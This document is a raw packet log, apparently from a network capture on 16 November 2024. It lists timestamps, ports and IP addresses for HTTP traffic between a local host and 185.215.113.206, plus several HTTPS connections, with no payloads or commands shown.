Nov 16, 2024 23:36:37.757474899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757513046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757523060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757531881 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.757566929 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.757569075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757581949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757594109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757616997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.757646084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.757786036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757827997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.757829905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757882118 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.757919073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757930994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757944107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757955074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.757975101 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.757975101 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758008957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758008957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758019924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758033037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758044958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758059025 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758065939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758078098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758080006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758090019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758100033 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758101940 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758121014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758127928 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758153915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758177042 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758177996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758189917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758225918 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758239031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758251905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758264065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758275032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758291960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758311987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758311987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758323908 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758337021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758347988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758356094 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758380890 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758397102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758414984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758424044 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758435965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758455038 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758481026 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758492947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758503914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758517027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758542061 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758567095 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758763075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758807898 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758810997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758821964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758853912 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758872986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758883953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758896112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.758918047 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758943081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.758968115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759036064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759046078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759079933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.759087086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759099960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759125948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.759155989 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.759212971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759223938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759237051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759252071 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759263992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759268999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.759274960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759284973 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.759288073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.759311914 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.759370089 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760215044 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760226965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760240078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760257006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760262012 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760267973 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760294914 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760309935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760453939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760463953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760476112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760498047 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760512114 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760529041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760540962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760554075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760575056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760602951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760668993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760679007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760689974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760701895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760714054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760714054 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760726929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760726929 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760745049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760750055 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760763884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760775089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760782957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760788918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760792971 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760801077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760823011 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760844946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760848045 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760857105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760868073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760885954 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760900021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760910034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760910988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760924101 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.760943890 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.760957956 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.821446896 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.821475983 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.821535110 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.821562052 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.821726084 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.821726084 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.821747065 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.821806908 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.824445009 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.824507952 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.824594975 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.824726105 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.824750900 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.831934929 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:37.831970930 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:37.832412958 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:37.832556963 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:37.832626104 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:37.832684040 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:37.832922935 CET	49903	443	192.168.2.5	18.245.124.16
Nov 16, 2024 23:36:37.832937002 CET	443	49903	18.245.124.16	192.168.2.5
Nov 16, 2024 23:36:37.833055019 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:37.833091021 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:37.860976934 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.861340046 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.861370087 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.861881971 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.861887932 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.870958090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.871023893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.871023893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.871057987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.871076107 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.871100903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872301102 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872355938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872383118 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872406960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872414112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872448921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872458935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872493029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872536898 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872545004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872577906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872584105 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872612953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872647047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872679949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872679949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872689962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872720003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872730970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.872752905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.872793913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873294115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873341084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873346090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873375893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873418093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873426914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873456955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873487949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873496056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873522043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873536110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873550892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873577118 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873595953 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873809099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873864889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.873917103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873945951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873980045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.873987913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874015093 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874042988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874103069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874413013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874447107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874479055 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874495983 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874497890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874531031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874560118 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874567032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874579906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874599934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874636889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874644041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874663115 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874665976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874687910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874706984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874718904 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874751091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874784946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874799967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874803066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.874854088 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.874881983 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875339031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875391006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875400066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875425100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875432014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875458002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875468016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875493050 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875500917 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875525951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875539064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875565052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875777006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875811100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875844002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.875874043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.875929117 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876172066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876223087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876265049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876297951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876313925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876332045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876363039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876374960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876374960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876396894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876422882 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876430035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876442909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876583099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876661062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876696110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876729012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876749039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876765013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876765966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876797915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876868010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.876912117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.876955032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.877088070 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.877108097 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.877147913 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.877156019 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.877191067 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.877377033 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.877388954 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.877398968 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.877403021 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.879472971 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.879492044 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.879556894 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.879690886 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.879700899 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.879795074 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.879975080 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.880094051 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.880203009 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.880225897 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.880239964 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.880247116 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.882575989 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.882610083 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.882664919 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.882874012 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:37.882893085 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:37.959074020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.959106922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:37.959140062 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:37.959191084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.007854939 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.008074999 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.008143902 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.008224964 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.008243084 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.008255959 CET	49891	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.008261919 CET	443	49891	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.010643959 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.010674953 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.010885954 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.010986090 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.010993958 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.014847994 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.015091896 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.015120029 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.015836954 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.015901089 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.016838074 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.016885042 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.017815113 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.017895937 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.018009901 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.018024921 CET	443	49894	40.118.171.167	192.168.2.5
Nov 16, 2024 23:36:38.018045902 CET	49894	443	192.168.2.5	40.118.171.167
Nov 16, 2024 23:36:38.034554958 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.034745932 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.034771919 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.035712957 CET	443	49893	20.125.209.212	192.168.2.5
Nov 16, 2024 23:36:38.035763979 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.036642075 CET	49893	443	192.168.2.5	20.125.209.212
Nov 16, 2024 23:36:38.036700010 CET	443	49893	20.125.209.212	192.168.2.5
